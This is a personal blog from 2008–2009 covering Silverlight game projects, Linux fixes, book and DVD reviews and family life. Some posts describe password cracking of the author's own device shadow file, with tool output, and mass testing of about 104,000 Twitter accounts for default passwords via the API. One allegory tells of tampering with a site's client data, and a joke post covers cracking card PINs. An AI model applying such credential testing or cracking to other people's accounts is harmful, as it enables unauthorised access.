"Woohoo! I got a light saber for my birthday from my girl friend" translates to date of birth == posted date excluding year and I think you can make some easy assumptions regarding the general age of the poster.
"Baby Amber Elisabeth Smithtown was born today at 02:34 7lb 4oz at the Jon Bon Jovi Mem. hospital New Jersey" translates to all the details needed to access/setup a new bank account or at least a good start for.  
But as mentioned, maybe its to late, in which case enjoy the twittering of little birds.


Note to building security
Mon, 01 Jun 2009 15:51:29 GMT
Now broadcasting the past as the present, one month is much like any other.
Note to building security: do not add expensive gadgets to meeting rooms, securing them only with a 4 digit padlock.
Weekly dev meeting agenda: intro current projects, any other updates, brute force combi-padlock.
Total time spent 40mins(Man minutes), key space exhausted 26%, combination found TRUE.


the answer was not not a negitive paradox
Mon, 01 Jun 2009 15:46:00 GMT
Ah ha! now we know, well I do, it was probably to quick for you.
Looked sort of like a time paradox, certainly a lesson to myself in the future :)


Stuff has taken place but where has it all gone
Mon, 01 Jun 2009 15:37:08 GMT
Stuff has taken place but where has it all gone ...
[just posting this to see what happens now I have missed the month of May completely]


whose ill
Thu, 02 Apr 2009 06:50:29 GMT
Alex has an ear infection and Joseph has conjunctivitis.
Both of them have been pretty much ill with something or other for the last 8 weeks and on the couple of days neither of them have been ill Sarah or I have been sick.
Better luck next time?


video wipe out
Sun, 08 Mar 2009 22:35:24 GMT
For some reason the video was not working here but was working on the page http://www.pay4foss.org/seemuse/information.html
with any luck it works now ...


See Muse silverlight messenger game
Fri, 06 Mar 2009 23:05:30 GMT
The next bit of Silverlight is a bit different, not only do you need Microsoft windows and Silverlight 2 compatible browser but you need Windows live messenger.
And not only do you need Windows live messenger you also need to patch your local copy and the copy your opponent is using.
If that all seems far to complex just sit back and enjoy the video of SeeMuse in action.

Its basically a drawing game were the players are given a word that must be described using some very limited tools.

Just eight shapes with sixteen colours and the ability to rotate, scale and position them.
The code had a lot a clever network stuff to handle slow connections and random disconnects and thanks to a certain play tester the answers are encoded on the wire to stop cheats.
As it is Messenger any attempt to convey the answer is greeted by a response.
Attempted answers are not only checked against the supplied word but also variations, such as "Audio cassette" will also accept "tape" and "television" naturally accepts "tv" etc.
As per usual full source code is available for SeeMuse


3D game of life in silverlight
Fri, 06 Mar 2009 22:52:34 GMT
More Silverlight now. First off a recent foray into the world of 3D, using a open source toolkit called Kit 3D.
The examples that came with the toolkit quickly enabled me to create a rotating grid that later became an orbiting camera (same difference to the user).
On the grid I added blocks and from these blocks I created Life.
I had always wanted to try and code  John Conway's Game of Life and this was the ideal opportunity.
Turned out quite well and I got to use the Jog-Wheel control from Positech2000


Hear the word of the White hat 2009-03
Fri, 06 Mar 2009 22:40:19 GMT
Once upon-a-time there was a new and exciting technology, but it was so new no one was using it and the only way to experience it was to watch the developers demonstrate it at trade shows.
Then the word was given that a web site would use the new technology and create a new user experience, the word was good.
ManyMe visited the site but the proclaimers stated the doors were closed.Despondent I tried again and again to visit the holy lands only to be shunned.
Until a fate full day when the proclaimers did proclaim all come welcome and I did enter the hallowed gates to find ...
Four sacred chapels, each with the revered experience held within, but each guarded by three challenges!
The challenges were difficult and tedious so I did what any soul in search of enlightenment would do, I cheated.
Seems the client received word from up above as to which challenges and chapels were accessible. I sent down false words and thus the chapels opened and unto me all challenges fell open. But alas the holiest of holys the new experience was hidden from me so it was that I told each of the challenges how to be an as master of the challenges found them no challenge.
Now armed with not only the challenges and chapels key I also had the markers of immaculate completion and once again I requested the experience.
Now and only now I realised that I was missing an important browser upgrade that the gated ones keep hidden.
Released from the burden of having old and wretched browser plug-ins I gazed upon the experience and although it was a sight to beholden I saw a weakness.
So unto I did downloadreceive the holy scriptures and with sprinkling of bash did I determine that the hidden passaged were in fact touched with additional meta-data that did reveal itself unto me.
And I found myself saying unto the higher ones this is how I did hackdisturb your site and they said OK thanks we will fix that less thy exploit these weaknesses to win great and magnificent prizes.
Hear the word of the White hat 2009-03


not yet into the wild green yonder
Fri, 06 Mar 2009 22:24:20 GMT
Watched Futuramas latest film "Into the wild green yonder", no review yet as I have not tried the DVD commentary, so far thumbs up again.


Back to gooey games
Fri, 06 Mar 2009 22:20:33 GMT
Long time no blog flog, excuses are pointless.
For all your command line prowess checkout http://www.commandlinefu.com/
I am currently engaged with the Linux version of http://www.worldofgoo.com/ a puzzle game with some very interesting physics.
i had thought I was beyond puzzle games but the Linux demo caught my fancy with its gish like gooey ways.
Gish was another Linux game that captured my heart back in 2004.
World of Goo seems to be just filled with good stuff, rather than giving hundreds of levels instead offers not only varied gooey physics fun but a bizzare story line with comments (thanks sign painter) that make you laugh out loud.
Both games cost but are reasonably priced and well worth the investment.
Recommended.


google talks all hail google
Tue, 03 Feb 2009 14:54:40 GMT
Google responds
http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html


all hail google when googling google is harm
Mon, 02 Feb 2009 22:18:45 GMT
I wanted to see if the pay4foss.org spam was causing an issue I searched for pay for foss.
pay4foss.org cam up as the number one result but had a link underneath stating that "this website may harm your computer" :(
So I clicked the link to find out more about the issue only to find the page was busy try again in 30 seconds, tried again, and again, same issue ...
Tried searching for google in google and OH! all the google links google maps/news/video etc all had the same harm message !!
Less than an hour later it was all back to normal...
All hail google !


spammers shut open forum at pay4foss org
Mon, 02 Feb 2009 21:34:56 GMT
I have not updated pay4foss.org for years, so I was surprised to see one bit of forum spam before xmas and then a couple a week at the beginning of January followed by one a day and then 200 in a week!
All following the pattern of a youtube link with randomly generated text.
Early on I created a bash script that would delete the spam for me, that was fine for a couple a week, but now I have had to turn on moderation :(
Thank you spammers.


firefox 3 with swap file on zubuntu
Mon, 02 Feb 2009 21:24:00 GMT
zubuntu comes with firefox, but I had not been able to get it to work, just ran an ran but never loaded even the google and mozilla pages.
Turns out all I needed was a swap filedd if=/dev/zero pf=/.swap bs=1024 count=128000
(sl86 has 64MB ram so 128 is double it)
mkswap /.swap
swapon /.swap
Job done, full FF3 on the meager zaurus !!


one pound dvd deal nestle
Mon, 02 Feb 2009 21:18:46 GMT
How about this for the greatest scam of the year; Buy any (labeled) Nestle cereals and get a code for one of twelve family movies for one pound INCLUDING postage and packaging.
I was dubious, but Spiderman 3 came within a week and was the same version (2 disk all the extras etc) I seen elsewhere for over a tenner!
The film was thoroughly enjoyable, but I do hope they do not try and milk the franchise for a forth feature !
I then got Hoodwinked and Surfs Up, so thats a total of three pounds for 3 DVDs worth ten times that MINIMUM! 
Hoodwinked is an animated movie spoofing up Little Red Riding-hood. I found it very hard going first viewing due to the out of date and in some places poor 3D modeling and animation.
But the film is not bad, I have had to watch it over 20 times and still laugh at some of the gags!
(not seen Surfs Up yet)
Does mean I have a box of honey shreddies due it being the cheapest box offering the deal.


futurama benders game
Mon, 02 Feb 2009 21:16:46 GMT
I did get Futurama "Benders game" for Christmas (it was less than 40 days ago).
This is return to comic form after my lam-blasting of the last outing.
Fun and silliness from the outset make this a very enjoyable journey, even though I have never turned my hand to D&D (shock/horror).
One thing to note is that the DVD commentary was weak, which meant the questions that came up when watching the feature were never answered :(
I can not wait for the next one "Into the wild green yonder" due out 24th of Feb (UK).


snow day
Mon, 02 Feb 2009 21:15:26 GMT
SNOW DAY!!
ge to play in the snow with kids == good
do not get paid for a day != good
Still time to catch up with some blogflogging


zubuntu cl860 boxer specific
Fri, 23 Jan 2009 22:01:23 GMT
Zubuntu ... the story so far...
Specific to the Zaurus CL 860 (boxer)
install zubuntu as per cortez's instructions
if when booting the file system is checked due to the date stamps being in the future and then reboots in a loop run tune2fs -i0 -c0 /dev/sdb1
when sdb1 is your linux partition, this will stop the fsck checks for either interval or count.
nano /etc/passwd
and change dhcp from 103:103 to 0:0 (where 103:103 could be any value) this allows dhclient to work.
nano ~/.xinitrc
and remove the "xrandr -o right" this will ensure the screen is in landscape in X.
nano ~/.profile and change TSLIB_TSDEVICE from event2 to event1
then run ts_calibrate
then and only then can you startx


zubuntu future hero
Mon, 05 Jan 2009 21:54:42 GMT
I was contemplating donating my zaurus 860 to the LUG when all of a sudden I came across zubuntu the answer to my dreams or another blip on the radar ?
Only time will tell, Angstrom only ever had passing support for the 860, very long dev times and missing packages.


walking around and around and around
Mon, 05 Jan 2009 21:36:59 GMT
From 23/10 - 23/12 I walked at least 415672 steps, equating to around 207.8 miles
Pity the rest of my team did not get into the spirit of the challenge and the four man team DEVELOPERSDEVELOPERSDEVELOPERSDEVELOPERS managed just under 500 miles in total :(


password cracking is very time consuming
Fri, 12 Dec 2008 08:00:51 GMT
Due to the baby and other children my nslu2 has been forgotten, so forgotten that after a power cut I could not ssh in.
i removed the USB stick acting as its main hard drive and copied the shadow password file over to my AMD64 main machine.
time to crack one password, which according to popular belief should take minutes if not seconds.
amd64# john --user=root /tmp/nslug/etc/shadow
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
guesses: 0  time: 0:14:26:10 (3)  c/s: 5695  trying: pigbetie - pigbetiv
guesses: 0  time: 0:14:26:15 (3)  c/s: 5695  trying: pittedae - pittedav
guesses: 0  time: 0:14:33:37 (3)  c/s: 5695  trying: pulinov8 - pulinovi
guesses: 0  time: 0:23:48:09 (3)  c/s: 5694  trying: 485ideth - 485idet1
guesses: 0  time: 0:23:53:04 (3)  c/s: 5694  trying: sumsled! - sumsled6
guesses: 0  time: 0:23:53:16 (3)  c/s: 5694  trying: subufanc - subufano
guesses: 0  time: 1:12:18:30 (3)  c/s: 5695  trying: TAZb21 - TAZb24
guesses: 0  time: 3:00:04:34 (3)  c/s: 5693  trying: ajd3w1 - ajd3w9
guesses: 0  time: 3:14:17:06 (3)  c/s: 5694  trying: kj,f3l - kj,f3m
guesses: 0  time: 4:05:51:41 (3)  c/s: 5694  trying: Knnxt9 - Knnxt6
guesses: 0  time: 4:12:49:17 (3)  c/s: 5811  trying: tt771iv - tt771ov
guesses: 0  time: 4:12:49:22 (3)  c/s: 5811  trying: tjcecot - tjcect7
guesses: 0  time: 5:01:31:06 (3)  c/s: 6058  trying: jkua3f - jkua3p
guesses: 0  time: 5:01:31:14 (3)  c/s: 6059  trying: jlayit - jlayie
guesses: 0  time: 5:23:57:33 (3)  c/s: 6399  trying: thrmez26 - thrmez28
guesses: 0  time: 5:23:57:35 (3)  c/s: 6399  trying: thrm1as6 - thrm1asa
notroot          (root)
guesses: 1  time: 6:13:10:54 (3)  c/s: 6554  trying: notrook - notroot
One caveat, I did not use a dictionary file.
Each time I pressed enter a status line (as above appeared), thats right it took six DAYS 13 hours to crack the root password that was the uninspiring "notroot".
Time to change my password.


positech2000 now with a url
Mon, 01 Dec 2008 22:21:35 GMT
Oops and the link for positech200 is http://www.pay4foss.org/jumpstation/Positech2000/
sorry


positech200 total useless silverlight madness
Mon, 01 Dec 2008 22:19:12 GMT
Another month another silverlight game/thingy.
This one takes your search results from live.com and launches them via parabolic trajectories into 'Positive' and 'Negitive' buckets, too determine the 'truth' of your search.
Search terms also burst in a fireworks type display and there is time controlling wheel.
Beyond useless, full source is available.
	
	
	
Search screen
	
Parabolic trajectories everywhere

	
The results are in
	
	


draw my thing addiction contagious
Mon, 01 Dec 2008 22:13:39 GMT
http://www.iminlikewithyou.com and select 'Draw my thing'
I spent many an hour on this digital pictionary clone, best thing, no need to sign up just play and have fun.


ripestudio know their math
Mon, 24 Nov 2008 21:56:13 GMT
I need to pay homage to http://www.ripestudio.com/ for all there help on the rotation math for Face Monkey and now for the parabolic and tangent math on an upcoming project (name to be confirmed).


twitterblator rides again same result
Mon, 24 Nov 2008 21:49:26 GMT
I decided to revisit twitter and default passwords, this time with a larger sample size.
Out of 103880 accounts tested only 285 had a password of either the user name or "password".
As I mentioned previously at no point did I 'log on' these tests used the verify_credentials API call.
Normally if you 'log on' to an account on web site a large number of resources will be applied to ensuring you (the user) has all the requirements at hand to make best use of the service. By instead, just using this API (hopefully) only a minor resource is required to check the user name and password in the database.
So the result is not far off what I had previously, was 0.00272%, now 0.00274% which is pretty good, barring my previous comments that 'password' might not be 'password' in the majority of users languages.


Behold the Face Monkey
Fri, 14 Nov 2008 22:34:09 GMT
I have been playing with Silverlight again.
this time I have gone for a goofy paint application called Face Monkey.
For those of you without Silverlight, there are screen shots of what lunacy can be created monkeying around.
I started just loading an image from the users local hard drive and displaying it (does not upload the file anywhere), then stretching to fit.
Then I added a couple of buttons that created drag-able vector drawings of hats and glasses, then then then ...
I just kept adding images and features and now its got all sorts of weird and wonderful things, from transparent and rotating glasses, videos, rendered hair (thanks blender) to the bubbles and 'cheese' options.
the best thing was being able to build containers, one type that simply scaled the input image/video and made it appear as a button and the other that provided true rotate/scale plus 'delete' and 'stamp' controls.
Stamping means removing the container and affixing the current element to the canvas, making it non interactive.
But most time was taken up with the scaling and rotation.
I added scaling and got that working, then I added rotation, seemed to work but was a *bit* odd. The scaling was applied after any rotation so scale a square to an oblong and when you rotated the shape would warp.
It was all about the math, once the container was rotated any interaction i.e. scaling via the mouse had to be rotated to match.
Here are a few screen shots showing what can be done.

There is also an embarrassing list of missing features on the page.
Bottom line it was just a bit of fun, fun to write (except the math) and fun to play with.


rot13 really is that good
Fri, 14 Nov 2008 22:32:35 GMT
Just for *fun* I took the ispell 354984 word list and rot13'd it. then I checked how many *encoded* strings matched real words from the original list.
Zero matches :( I am very disappointed. I expected at least 1% to *encode* into another valid string.
I was amazed how quickly the following commands ran
cat ROT13.LST | uniq -u > BIG.LST
cat mword10/SINGLE.TXT | uniq -u >> BIG.LST
cat BIG.LST | uniq --repeated > ROTRES.LST
ROTRES.LST was empty, uniq -u removed any duplicates.
echo owl >> test.file
echo fox >> test.file
echo owl >> test.file
echo owl >> test.file
cat test.file | uniq --repeated
Gave the correct result "owl"


damn aliens
Fri, 14 Nov 2008 22:31:26 GMT
"to the aliens that visited me on Wednesday night:

Please can I have the 1in piece of skin currently missing from my lower back.

While we are talking about you, please also remove any currently installed micro chips from my body.

Many thanks.

Yours uncomfortably 

Me."

I woke up and found a very sore area on my back that burned in the shower, on closer inspection it looks like I am just missing a big ol' hunk of skin, for no reason.
Damn aliens.


Diamond Age review
Fri, 07 Nov 2008 22:49:48 GMT
Finally (and only because I could not find any more "Neal Stephenson" in my local) is Neal Stephenson's "The Diamond Age" a steam punk future opus.
Starting with a guy with a gun in his head and ending with the images of an ocean city, the story follows mainly Nell as she grows up led by the "Primer" a book/super computer that was never destined for her but she is its perfect match.
Together the story twists and turns with the read never quite sure what is going on, this is a good thing. More cerfisticated than "Snow Crash" this is a more rounded novel clearly defining a future that mankind could easily find itself in.
Recommended.


Snow Crash
Fri, 07 Nov 2008 22:48:42 GMT
Next up was "Snow Crash" by Neal Stephenson. I was convinced I had already read this, but everything in it was fresh and new to me. Another well written, easy to read, fun engaging novel, this time set in the future where a digital virus is infecting humans.
The story starts with a guy dressed as a ninja trying to deliver a pizza on time and ends up with Y.T. going home with her mum.
In between there is virtual reality, robot dogs, blood letting, religion, skate-boarding, the future state of the world and few other things.
One thing I will say against "Snow Crash" is it feels a bit juvenal compared to "Cryptonomicon", still well written and I am sure others will view the anarchy in the writing as plus point.


arctic event book review
Fri, 07 Nov 2008 22:47:44 GMT
After reading cryptonomicon I grabbed another book from my pile of unread tomes, "The Arctic Event" by James cobb
There was nothing wrong with this book, in fact I rather enjoyed it but it lacked an complexity or subtlety, very 'Hollywood', ideal for a long plane ride where the engaging nature of "Neal Stephenson" may prove problematic.


Favorite book ever
Fri, 07 Nov 2008 22:46:36 GMT
Must review cryptonomicon before I read another Neal Stephenson book.
The key thing about cryptonomicon is the way the story is split over between two time lines one from the second world war breaking German codes and the other being the first offspring in modern world trying to create a secure data haven.
Instead of this making the book difficult to read it instead pulls you in deeper and with many plot twists and funny turns and great characters there should be no supprise I have crowned this volume my "Favorite book ever" !!
I was worried the code breaking would become mathematical and overly technical but all technical subjects are handled with the upmost care insuring the reader never loses interest while maintaining the realism, that said "finux" ?


luv cpu
Thu, 30 Oct 2008 19:28:19 GMT
computer


when is the cryptonomicon review coming
Wed, 15 Oct 2008 21:26:29 GMT
I might get around to reviewing cryptonomicon now I have finished reading two further books, including Snow Crash.
But not tonight I still need sleep. ZZZzzz.... .


silverlight 2 Release to Market FINALLY!
Tue, 14 Oct 2008 20:30:56 GMT
I took time out of my busy schedule to update my Silverlight projects to the current version released yesterday.
Strangely a number of places are claiming the that this release supports Linux, well it does not and the moonlight project is quite a way off supporting my applications. I wish them luck!


Cryptonomicon words still no review
Thu, 02 Oct 2008 21:26:13 GMT
I did finish cryptonomicon a couple of weeks ago but I am still running my script.
known:379
had to look up:19
antipodal google,wiktionary

Birkenstocks google,wiktionary

caroms google,wiktionary

Criminy google,wiktionary

deign google,wiktionary

dilettante google,wiktionary

explication google,wiktionary

HEPARIN google,wiktionary

lariats google,wiktionary

levelly google,wiktionary

luffs google,wiktionary

nacre google,wiktionary

phalanxes google,wiktionary

reticulated google,wiktionary

rosa google,wiktionary

Sinkov google,wiktionary

strop google,wiktionary

Teva google,wiktionary

viscera google,wiktionary



pipes x3
Thu, 02 Oct 2008 21:16:23 GMT
windows pipes
linux pipes
real pipes


zzzzzzzzzzzz
Thu, 02 Oct 2008 06:52:03 GMT
ZZZZzzzzz....   .       .


Anagram Shark Attack released
Tue, 16 Sep 2008 21:09:41 GMT
Anagram Shark Attack my latest silverlight project is completed.
The first project IDOUDO was a blatant hack, quick, simple but hardly painless.
mousetrails was just a Proof of concept.
Where as twitternice was a much more serious attempt the code is painful. all in one file and hardly any classes.
Anagram Shark Attack on the other hand has had a lot of love poured into it from the preloader, post loader, graphics and not to mention the rewrite.
When I first thought Anagram Shark Attack was complete, my testing showed that the tile dragging and orienting worked correctly and the sharks attacking work correctly, unfortunately the two were mutually exclusive. The game state was rooted in the places the tiles 'could' by located, but this fell down when the time for a tile to change from one state to another was interrupted by another process. It was comical, the game would start fine then as more attacks took place tiles would vanish or appear seemingly at random.
The rewrite allowed me to clean this up and set the tiles state to the tile objects themselves allowing anything to happen at anytime regardless of what had or was happening at the time.
There are a few screen shots on the page so my Linux friends get an idea whats going on.


wee wee potty
Mon, 15 Sep 2008 21:29:28 GMT
Their first steps are great and starting to talk is nice but when dealing with toddlers the one ability you always wished they would learn is for them to be able to change their own nappy.

So I was happy when on Sunday morning I found Alex with a new nappy on and neatly placed soiled one the wrong side of his stair gate.

This event was taken down a peg when on closer inspection the newly applied nappy was on backwards, but it was still an impressive feat.

For starters the soiled nappy wearer has to note the soiled status and decide a course of action, which in this case was to locate the clean nappy draw, retrieve a nappy, remove the spent nappy, dispose of it and to apply a new nappy. None of these instructions appear in a toddlers usual lexicon.

Unfortunately there is a blackened lining to every silvery cloud and whilst sleeping soundly on the sofa later that morning I noted the verbal communication "wee wee potty". Had I know what was about to happen I would not have lain peacefully any longer, having leapt to my feet and vacated the sofa very promptly.

For mere seconds after that utterance a full potty was emptied over my head, that will teach me to sleep when utterly exhausted from the previous day, days, weeks, months etc.


blood in the water
Thu, 11 Sep 2008 06:42:11 GMT
There is blood in the water, Beware !!


tunnel to the other side
Thu, 11 Sep 2008 06:39:57 GMT
This is mans single most achievement, behold
http://www.freemaptools.com/tunnel-to-other-side-of-the-earth.htm
I think this solidly proves we were lied too as kids !!


666 back scatter spam
Fri, 05 Sep 2008 23:06:02 BST
spam assassin normally does a good job and I bet a couple of dodgy emails a day unfiltered but blacklisted so it was a shock to find 666 blacklisted but not spam listed emails today all to *RANDOMNUMBER*@somescrapable email address.
Started getting ISP email noting my mail box was full, thats with KMail downloading ALL mail from the server once an hour. So in those 60 mins I had got enough back scatter spam to trigger the warning system at the ISP.


cryptonomicon thingambob word marker
Fri, 05 Sep 2008 22:43:35 BST
So I created my cryptonomicon thingambob and it is good!
#!/bin/bash
# gets a word and allows the user to confirm there acceptance that it should be marked.
# added two type of marks and a context viewer
# rob 2008
# cat $BOOK | sed -e 's/\([^a-zA-z0-9]\)/\n/gi' | grep -v '[0-9]' | sort -fu > $FILENAME

FILENAME=cryptowords.sorted
BOOK=stephenson-neal-cryptonomicon.txt

# yes, I do notice that the paramater is never actually used, thankyou
function offerWord() {
	echo "do you understand   $WORD  ?"
	echo -n "[y]es / [n]o / [i] looked it up / [c]ontext::"
	read ANS
	if [ $ANS = "y" ]; then 
		echo good, try again
		cat $FILENAME | sed -e "s/\(^$WORD$\)/#\1/" > $FILENAME.x ; mv $FILENAME.x $FILENAME
	elif [ $ANS = "i" ]; then 
		echo good for you
		cat $FILENAME | sed -e "s/\(^$WORD$\)/@\1/" > $FILENAME.x ; mv $FILENAME.x $FILENAME
	elif [ $ANS = "c" ]; then 
		cat $BOOK | grep $WORD | sed -e "s/\b\($WORD\)\b/---[[\1]]---/"
		offerWord $WORD
		exit
	fi
}

WORD=`cat $FILENAME | sort -R | grep -v '#' | grep -v '@' | head -n 1`
offerWord $WORD
stats so far are 210 words known, 13 words I had to look up, 22201 to go :)
Oh, and I am only half way through the book ...


Cryptonomicon alien words
Wed, 03 Sep 2008 07:47:04 BST
I have been reading Neal Stephenson's Cryptonomicon (review when I finish it) and found some of the wording used completely alien.
Soooo... I download a plain text version of the book and it has 496945 words in it.
Removing duplicates, words with numbers and ignoring case got me to 22424 words.
A fair number are German so I might try and filter those.
Although I can not find any examples right now, a quick random selection gives you some idea how varied the book is
daring
sumo
stodgy
chamois
misty
demonstrates
vertex
stretcher
orbits
mountainous
Ah! found one, animadverted
now to make some kind of thingambob that I can pull random words and mark them once I know what they mean ...


PIN number rainbow tables
Wed, 03 Sep 2008 07:44:25 BST
While standing in the bank queue on Monday (32mins) I realised that not only could I and everyone see each customers PIN number as it was entered at the cashiers desk but that there was a fundamental cryptographic flaw in the PIN number system.

To prove this flaw I concocted a complex algorithm that could compute ALL the possible PIN numbers is a given key space.

So after many hours of processing (if the algorithm had been run on a very VERY slow computer) I had an entire credit card PIN number rainbow table !!

Use wisely, jumpstation.co.uk makes no warranty to the contents of this file and is made available for research purposes only.

pin.numbers

FAQ::
what is the most common PIN number?
 1234

what is the most uncommon PIN number?
 0003

how can I link a credit card number to a PIN number?
 trial and error

how can I crack a credit card using the rainbow table?
 simply try each entry in the table until a match is found

I tried the above method and card keeps being "retained by bank"
 only try one PIN number per week, you should exhaust the key space in just over 19 years.

Wait a minute, how did you work out the most common and least common PIN numbers ?
 that information is currently not being made available to the public


gBom google bom bookmarklet
Sun, 17 Aug 2008 20:53:19 BST
gBom
I here by present the google bom, drag and drop to your firefox toolbar and you will have button marked gBom (cos I wanted the button width to be small, you can right click and rename it).
Surf over to google type in a search and at the results page click gBom, each result will then open in its own tab.
Very useful for technical research where you know you will have to manually open each result. The negative is the very small bandwidth used to open pages that you may not want.


prepare for jj
Sun, 17 Aug 2008 20:32:35 BST
Prepare for the coming (of the web site) of JJ Davis !!
and note that he and his brother are currently absorbing all of my time (and sleep).


epilog and case of the missing noise
Sun, 27 Jul 2008 23:35:29 GMT
After three more kernel builds this time failing because my /boot drive was full, initrd was 19mb per kernel. and because after giving the out of space error it then list a couple pages of rather obscure kernel .config relate errors.
Followed the gentoo guide http://www.gentoo.org/doc/en/alsa-guide.xml#doc_chap2_pre3 rebooted, crossed fingers, held breath and ...
played Big Buck Bunny in mplayer in high resolution with SOUND !
Woohoo (Again).


GRUB and the fight for the kernel
Sat, 26 Jul 2008 23:05:56 GMT
Yesterdays episode was actually cut to avoid going on too long, other things went very wrong and took ages to fix.
Today we are going to focus on the kernel, the magic part of Linux which real is Linux and not just open source software that runs on Linux.
The kernel sources for Gentoo AMD64 get updated about six times a year but I update about twice a year and is the only time I reboot.
This has caught me out in the past, running a machine that is running an old kernel but all the sources are bang up to date.
I hate rebuilding the kernel, I had many problems when I used my old machine with Debian and even with the handy genkernel its a pain, mainly because I forget everything I learned from doing it last time.
But I had notes from the last build so I knew not to include certain network drivers and Alsa sound support and the make sure I added the right network and SATA drivers.
Set all this going and 30 minutes later I rebooted. Hmmmm, all I see is the GRUB command interface no menu. six or seven tries later and I am GRUB expert and the menu appears, except it does not, all I get is random characters of interesting colours.
But I can press return and although the screen is messed up things are scrolling up in a manor indicating a kernel booting !!
But it stops and the patterns look decidedly bad, kernel panic or worse! Reboot into an old kernel by pressing down on the unreadable menu and enter and five rebuilds later I have removed all Frame buffer support and I can see the error.
Before we go any further I want to point out that I retrieve the old kernels .config file and was comparing it with the one I had for the new failing kernel, it had frame buffer so I must have lived with the bad menu thing !
On with the show, the errors were regarding the SATA hard drive, bit of googling later and I had to add some flags to the kernel boot line GRUB /kernel-genkernel-x86_64-2.6.25-gentoo-r6 root=/dev/ram0 init=/linuxrc ramdisk=8192 real_root=/dev/sda4 udev noapic acpi=off irqpoll
Woohoo boots fine, only thing missing is sound, and my notes about removing it from the kernel are invalid as Alsa is no longer supported outside the kernel.
There will be an epilog tomorrow...


python wrestling
Fri, 25 Jul 2008 21:08:40 GMT
So a minor issue I can not reinstall Python without installing .. Python, luckily I had my ten year old laptop to connect to the Gentoo forums. Where I quickly come across the suggestion to install python from http://python.org 
Downloaded unpacked and did the usual ./configure 
make
make install emerge still does not work but clearly notes the executable python file is not found in /usr/bin sooo I create a link from its current location ln -s /usr/local/bin/python /usr/bin/python
Great now emerge runs, so I can install stuff right ? WRONG all the python libraries are messed up and can not be found to do anything else :(
Now I find out that portage has already got a copy of the python package and everything else installed and I shouldtar jxvf /usr/portage/distfiles/Python.2.4.4.tar.bz2 and then install with./configure --with-fpectl --infodir=/usr/share/info/ --mandir=/usr/share/man --prefix=/usr --enable-unicode
make
make install prefix=/usr
Unfortunately for a number of attempts I tried Python version 5 and then could not get python-updater to run and I also tried symlinking libraries all of the place. I ended up with a script file that would delete everything to do with python from my system before I tried again with a slightly different parameter.
The secret source in the end was (After running my clear all script) to unpack install Python.2.4.4 then immediately run emerge pythonwhich got me python 5 then run python-updater.
And that s the end of that story, I wish ! python-updater goes through all your critical packages and rebuilds them to use the new version of python and takes a good 40 minutes.
At package 20 (something about gnome menus) it complained about not have a version file in the kernel sources directory.
now what ?
the concluding part will be posted tomorrow.


funny two cows is
Thu, 24 Jul 2008 21:02:08 GMT
Now this is funny http://feeds.preshweb.co.uk/~r/preshblog/~3/319012922/


Once upon a time I uninstalled python
Thu, 24 Jul 2008 20:52:54 GMT
once upon a time I got a brand new 64bit machine in a world of operating systems that did not support 64bit, no, not even Debian and Windows would not support it for years to come, I not even sure its supported now.
My only option was a hard core Linux distro call Gentoo where each piece of software is compiled from source code directly onto the machine, very geeky.
Because the code was complied directly on the machine it would be build against my 64bit processor, W00T!
No package management system is perfect and I had many a horror story with my earlier Debian system. 
Gentoo's 'portage' package management system can be updated daily and I found that I got one heart stopping problem with it every couple of months much as I had with Debian.
As time went on Gentoo matured and I became more proficient with 'portage', the frequency  of issues became about one a quarter.
This leads me onto last Fridays situation; I had run emerge --sync && emerge --update --deep world to find one of these 'issues'.
A update could not be installed because another package was blocking it, a common enough problem, usually I just uninstall the blocker and then reinstall the update.
First I looked at what was blocking, 'Python' a scripting language that I had used in Blender, no problem, uninstall Python ...
Finished, install updates ... *BORK!* Turns out emerge uses python.
So how can I install python without being able to install python ?
tune in for tomorrows installment...


The beast with a billion backs DVD
Thu, 17 Jul 2008 22:28:17 GMT
I Really really really liked the first futurama DVD "Bender's big score" so I rushed out to purchase number two...
The beast with a billion backs takes a bit of a u-turn after the nonstop funny of the first one in fact the laughs are so few I can remember all three of them of the top of my head.
Thats not to say its a bad film, far from it, the writing is top notch and leads directly on from the last scenes of "Bender's big score"
But it is not funny and there are small plot holes and the whole thing feels drawn out.
The DVD has an Easter Egg in the form of "old farmers wikipedia" but I can not find out what to do with it now I have found it... Google has nothing.
However the highlight in the extras is the trailer for the third film which looks like it maybe able to recover the funny factor and then pump it up a notch !
You have to buy it even if just for the next trailer ...


coming soon anagram shark attack
Thu, 17 Jul 2008 22:20:05 GMT
Prepare for the coming of "Anagram - Shark attack"


The last testament book
Thu, 17 Jul 2008 22:13:46 GMT
Latest book I completed (I read a lot during my daily commutes).
The last testament by Sam Bourne is fictional look at Israel and the Palestinians when an ancient artifact threatens to destroy everyone beliefs.
I have never been able to get a handle on the whole middle east crisis with who believed what and why that mattered so I found this book very instructional and very well written.
Great characters and lots of mini plot twists makes this a highly entertaining page turner, recommended.


Benders big score DVD
Thu, 17 Jul 2008 22:08:28 GMT
I do have one more out of date book review to do but first ...
Futurama is one of my favorite TV shows, I have watched ever episode many times on DVD and TV and still watch the odd rerun now and then and always find it brilliant !
So when I learned that the production team would be making four straight to DVD films I was delighted.
First up is Bender's Big Score from the moment this starts to the second it ends I was laughing enjoying every 'in' joke and general madness.
I am not going to give the plot away but it makes me laugh to just think about it ! The DVD is also packed with extras including a full length episode of "everyone loves hypno-toad", the Math behind futurama and the usual commentary and bits and pieces.
Beyond highly recommended !
Beware: has trailer for the next DVD ...


The hunt for Atlantis book review
Thu, 17 Jul 2008 22:01:09 GMT
Finished this one a while ago but it was good fun.
"The hunt for Atlantis" by Andy McDermott is an action adventure chasing clues and avoiding bad guys tracing the route of Atlantis and the Atlantean race.
Unfortunately this often feels like a Hollywood screenplay with all the outrageousness and plot holes the industry is famous for, but the fun factor does flood through and it is a page turner.
Get it for a bit of mindless entertainment.


Collapse book review recommended
Thu, 17 Jul 2008 21:55:38 GMT
Finished this one a while ago but it was very good.
"Collapse how societies choose to fail or survive" by Jarded Diamond is all about the effects of various influences on the survival and success of past and current societies.
First off it was not only very interesting but also easy to read, leading from past settlements such as Easter Island and leading up to modern mining and drilling practices.
The author repeatedly goes to great pains to say that he is not a hippy environmentalist but that the facts feed the results that many of the case studies were at least in-part highly affected by the loss of environmental resources. E.g. over fishing and cutting down all the trees (Easter island).
Much of the material reads as short stories and really allows you the reader to become a member of the society in question and understand why they acted in what seem to us with the gift of hindsight such monumentally stupid ways.
Strongly recommended !!
